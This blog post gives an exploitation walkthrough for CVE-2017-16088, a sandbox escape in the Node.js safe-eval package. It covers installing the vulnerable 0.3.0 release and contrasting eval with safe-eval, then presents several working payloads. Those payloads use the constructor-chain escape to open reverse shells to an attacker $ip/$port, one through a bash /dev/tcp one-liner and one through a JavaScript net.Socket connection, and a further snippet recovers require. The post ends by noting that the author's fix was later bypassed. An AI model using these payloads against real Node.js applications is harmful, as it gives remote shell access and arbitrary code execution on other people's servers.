Exploit CVE-2017-16088

CVE Detail(Link):

The safe-eval module describes itself as a safer version of eval. By accessing the object constructors, un-sanitized user input can access the entire standard library and effectively break out of the sandbox.


On Mar 3, 2017, Github user “odino” opened a security issue in the safeEval GitHub repository and provide a one-line PoC(Link). The payload is:

var safeEval = require('safe-eval');
safeEval("this.constructor.constructor('return process')().exit()");

Execute the payload above will cause Node to exit the current process. If you run the payload in a Node console in the terminal, it will quit/exit the console. This one-line Poc payload is not particularly interesting and useful. Search over the internet, I am not able to find any exploit that makes use of this CVE. In this blog, I will talk about how to install Node.js and the vulnerable version of safe-eval(0.3.0), the difference between eval and safe-eval, and provide a few payloads to gain reverse shell.


1. Download Node.js installation pack from https://nodejs.org/en/ and install it on the system.
2. Install the vulnerable version of safeEval  by typing npm install safe-eval@0.3.0 --save in the Terminal.

Regular eval

Before going into safe-eval, let’s try out regular eval first:

var user_input = "require('child_process').exec('touch hacked.txt')";

Execute code above in the Node console will create a file hacked.txt on the system. In a Node.js web application, if a user has control over the value of the user_input variable, the user can execute arbitrary code on the application server, which is pretty bad. 🙁


What is safe-eval? According to the README on it’s GitHub repository:

safe-eval lets you execute JavaScript code without having to use the much discouraged and feared upon eval(). safe-eval has access to all the standard APIs of the V8 JavaScript Engine. By default, it does not have access to the Node.js API.

safe-eval is a safer version of eval. For example, the input that works with eval will failed with safe-eval.

var safeEval = require('safe-eval');
var user_input = "require('child_process').exec('touch hacked.txt')";

The exploit:

From my understanding, to get around the restrictions imposed by safe-eval, the goal is to escape the Node.js vm/sandbox. Lots of research has been done in this field, here is a couple of them:





Here are a few payloads to get a reverse shell. You might encounter an error from Node, complaining ReferenceError this is not defined. Try to replace the keyword this to Object, global or any object you have access to.

Reverse shell payload with the bash-one-line:

safeEval("this.constructor.constructor('return child_process')().exec('bash -i >& /dev/tcp/$ip/$port 0>&1')");

Reverse shell payload with JavaScript:

safeEval("net = this.constructor.constructor('return net')(), sh = this.constructor.constructor('return child_process')().exec('/bin/bash');
client = new net.Socket();client.connect($port, '$ip', function(){client.pipe(sh.stdin);sh.stdout.pipe(client);

If require is not available, to obtain the require by:

process = this.constructor.constructor('return (function(){return process})()')();
var require = process.mainModule.require;

If you are able to define an arbitrary function in the program:

var context= {world: function () { return child_process.exec("bash -c 'bash -i >& /dev/tcp/$ip/$port 0>&1'")}}
safeEval('{hello: world()}',context)

Fix. Fixed?

The author claims the vulnerability is fixed(Link). However, GitHub user ‘cpcallen’ reply to the GitHub issue about bypass the Fix. (Link) , and NOT so safe eval by ‘ChrisCinelli’. The author has this statement in the safe-eval repository. Maybe not so safe 🙂 .

UPDATE 27/08/2018: There are still ways to crash the Node process, please use safe-eval only with content created by yourself or from trusted sources. User-submitted data should not be run through safe-eval. Thanks @cpcallen for the report.